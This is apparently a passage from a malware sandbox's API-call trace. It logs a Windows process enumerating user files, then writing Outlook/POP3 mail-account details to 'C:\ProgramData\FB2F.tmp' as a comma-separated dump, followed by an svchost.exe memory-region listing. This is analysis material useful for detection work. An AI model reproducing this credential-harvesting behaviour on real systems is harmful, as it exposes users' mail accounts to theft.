[0074.232] strlen (_Str="zxM3.mp4") returned 0x8 [0074.232] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] strlen (_Str="M Py5Nq8") returned 0x8 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.232] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 0 [0074.232] FindClose (in: hFindFile=0x7fb1f8 | out: hFindFile=0x7fb1f8) returned 1 [0074.232] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.232] strlen (_Str="") returned 0x0 [0074.232] strlen (_Str="Q6O2n7WwKPR.bmp") returned 0xf [0074.232] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.232] strlen (_Str="") returned 0x0 [0074.232] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.232] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.232] strlen (_Str="") returned 0x0 [0074.232] strlen (_Str="RL27mS.mkv") returned 0xa [0074.232] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.232] strlen (_Str="") returned 0x0 [0074.232] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.232] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="Sa--KaU.pptx") returned 0xc [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="s_XSUWu8QQnZOg4V9zrx.mkv") returned 0x18 [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="uTQTV2mVPN8RQx.ppt") returned 0x12 [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="U_x855jOMDYCkkuEDF4Y.jpg") returned 0x18 [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="VYQMONSJuegc.mp3") returned 0x10 [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="w2L1Az-.m4a") returned 0xb [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="XLx9XFVUH.jpg") returned 0xd [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="ZgiD.png") returned 0x8 [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.233] strlen (_Str="") returned 0x0 [0074.233] strlen (_Str="~$knzkjo.doc") returned 0xc [0074.233] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] strlen (_Str="") returned 0x0 [0074.233] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.233] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 0 [0074.233] FindClose (in: hFindFile=0x7f72b0 | out: hFindFile=0x7f72b0) returned 1 [0074.233] _strcmpi (_Str1="/nosort", _Str2="/scomma") returned -1 [0074.233] _strcmpi (_Str1="/nosort", _Str2="C:\\ProgramData\\FB2F.tmp") returned -1 [0074.233] qsort (in: _Base=0x8e8468, _NumOfElements=0x1, _SizeOfElements=0x3a4, _PtFuncCompare=0x40a25d | out: _Base=0x8e8468) [0074.234] SetCursor (hCursor=0x10007) returned 0x10007 [0074.234] CreateFileA (lpFileName="C:\\ProgramData\\FB2F.tmp" (normalized: "c:\\programdata\\fb2f.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108 [0074.234] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0074.234] SetCursor (hCursor=0x10007) returned 0x10007 [0074.234] strlen (_Str="fvmmeu dufn") returned 0xb [0074.234] WriteFile (in: hFile=0x108, lpBuffer=0x8e8474*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e8474*, lpNumberOfBytesWritten=0x30f5f4*=0xb, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str=",") returned 0x1 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.236] LoadStringA (in: hInstance=0x400000, uID=0x394, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Outlook 2016") returned 0xc [0074.236] strlen (_Str="Outlook 2016") returned 0xc [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x104260*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x104260*, lpNumberOfBytesWritten=0x30f5f4*=0xc, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str=",") returned 0x1 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str="sdjwh@dive.djh") returned 0xe [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x8e84f8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e84f8*, lpNumberOfBytesWritten=0x30f5f4*=0xe, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str=",") returned 0x1 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str="fgerh") returned 0x5 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x8e8578*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e8578*, lpNumberOfBytesWritten=0x30f5f4*=0x5, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str=",") returned 0x1 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str="") returned 0x0 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x8e0048*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e0048*, lpNumberOfBytesWritten=0x30f5f4*=0x0, lpOverlapped=0x0) returned 1 [0074.236] strlen (_Str=",") returned 0x1 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.236] LoadStringA (in: hInstance=0x400000, uID=0x10, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="No") returned 0x2 [0074.236] strlen (_Str="No") returned 0x2 [0074.236] WriteFile (in: hFile=0x108, lpBuffer=0x10426d*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x10426d*, lpNumberOfBytesWritten=0x30f5f4*=0x2, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str=",") returned 0x1 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.237] LoadStringA (in: hInstance=0x400000, uID=0x321, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="POP3") returned 0x4 [0074.237] strlen (_Str="POP3") returned 0x4 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x104270*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x104270*, lpNumberOfBytesWritten=0x30f5f4*=0x4, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str=",") returned 0x1 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str="sdjwh@dive.djh") returned 0xe [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x8e867c*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e867c*, lpNumberOfBytesWritten=0x30f5f4*=0xe, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str=",") returned 0x1 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str="") returned 0x0 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x8e86fc*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e86fc*, lpNumberOfBytesWritten=0x30f5f4*=0x0, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str=",") returned 0x1 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str="Outlook") returned 0x7 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x8e877c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e877c*, lpNumberOfBytesWritten=0x30f5f4*=0x7, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str=",") returned 0x1 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str="") returned 0x0 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x8e0048*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e0048*, lpNumberOfBytesWritten=0x30f5f4*=0x0, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str=",") returned 0x1 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str="hthr") returned 0x4 [0074.237] WriteFile (in: hFile=0x108, lpBuffer=0x8e85f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e85f8*, lpNumberOfBytesWritten=0x30f5f4*=0x4, lpOverlapped=0x0) returned 1 [0074.237] strlen (_Str=",") returned 0x1 [0074.238] WriteFile (in: hFile=0x108, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x30f5f4*=0x1, lpOverlapped=0x0) returned 1 [0074.238] strlen (_Str="") returned 0x0 [0074.238] WriteFile (in: hFile=0x108, lpBuffer=0x8e0048*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x30f5f4, lpOverlapped=0x0 | out: lpBuffer=0x8e0048*, lpNumberOfBytesWritten=0x30f5f4*=0x0, lpOverlapped=0x0) returned 1 [0074.238] strlen (_Str="\r\n") returned 0x2 [0074.238] WriteFile (in: hFile=0x108, lpBuffer=0x413b1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x30f5f8, lpOverlapped=0x0 | out: lpBuffer=0x413b1c*, lpNumberOfBytesWritten=0x30f5f8*=0x2, lpOverlapped=0x0) returned 1 [0074.238] CloseHandle (hObject=0x108) returned 1 [0074.238] SetCursor (hCursor=0x10007) returned 0x10007 [0074.238] DeleteObject (ho=0x100a0972) returned 1 [0074.239] exit (_Code=0) Thread: id = 79 os_tid = 0x890 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6733000" os_pid = "0x178" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d014" [0xc000000f], "LOCAL" [0x7] Region: id = 2254 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2255 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2256 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2257 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2258 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2259 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2260 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2261 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2262 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2263 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2264 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2265 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2266 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2267 start_va = 0x1b0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2268 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2269 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2270 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2271 start_va = 0x3d0000 end_va = 0x48ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2272 start_va = 0x490000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2273 start_va = 0x4a0000 end_va = 0x627fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 2274 start_va = 0x630000 end_va = 0x7b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2275 start_va = 0x7c0000 end_va = 0xbb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 2276 start_va = 0xc40000 end_va = 0xc59fff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 2277 start_va = 0xc60000 end_va = 0xc60fff entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 2278 start_va = 0xc70000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 2279 start_va = 0xc80000 end_va = 0xc8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 2280 start_va = 0xc90000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 2281 start_va = 0xca0000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 2282 start_va = 0xcb0000 end_va = 0xcb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2283 start_va = 0xcc0000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 2284 start_va = 0xd40000 end_va = 0xd41fff entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 2285 start_va = 0xd50000 end_va = 0xd54fff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 2286 start_va = 0xd60000 end_va = 0xd60fff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 2287 start_va = 0xd70000 end_va = 0xdeffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 2288 start_va = 0xdf0000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 2289 start_va = 0xe00000 end_va = 0xe00fff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2290 start_va = 0xe10000 end_va = 0xe8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 2291 start_va = 0xe90000 end_va = 0xe9ffff entry_point = 0xe90000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2292 start_va = 0xea0000 end_va = 0xeaffff entry_point = 0xea0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2293 start_va = 0xeb0000 end_va = 0xebffff entry_point = 0xeb0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2294 start_va = 0xec0000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 2295 start_va = 0xf40000 end_va = 0xf4ffff entry_point = 0xf40000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2296 start_va = 0xf50000 end_va = 0xf5ffff entry_point = 0xf50000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2297 start_va = 0xf60000 end_va = 0xf6ffff entry_point = 0xf60000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2298 start_va = 0xf70000 end_va = 0xfeffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 2299 start_va = 0xff0000 end_va = 0xffffff entry_point = 0xff0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2300 start_va = 0x1000000 end_va = 0x12cefff entry_point = 0x1000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2301 start_va = 0x12d0000 end_va = 0x12dffff entry_point = 0x12d0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2302 start_va = 0x12e0000 end_va = 0x12effff entry_point = 0x12e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2303 start_va = 0x12f0000 end_va = 0x136ffff entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 2304 start_va = 0x1370000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 2305 start_va = 0x13f0000 end_va = 0x13fffff entry_point = 0x13f0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 2306 start_va = 0x1400000 end_va = 0x140ffff entry_point = 0x1400000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2307 start_va = 0x1410000 end_va = 0x141ffff entry_point = 0x1410000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2308 start_va = 0x1420000 end_va = 0x142ffff entry_point = 0x1420000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2309 start_va = 0x1430000 end_va = 0x143ffff entry_point = 0x1430000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2310 start_va = 0x1470000 end_va = 0x14effff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 2311 start_va = 0x14f0000 end_va = 0x14fffff entry_point = 0x14f0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: 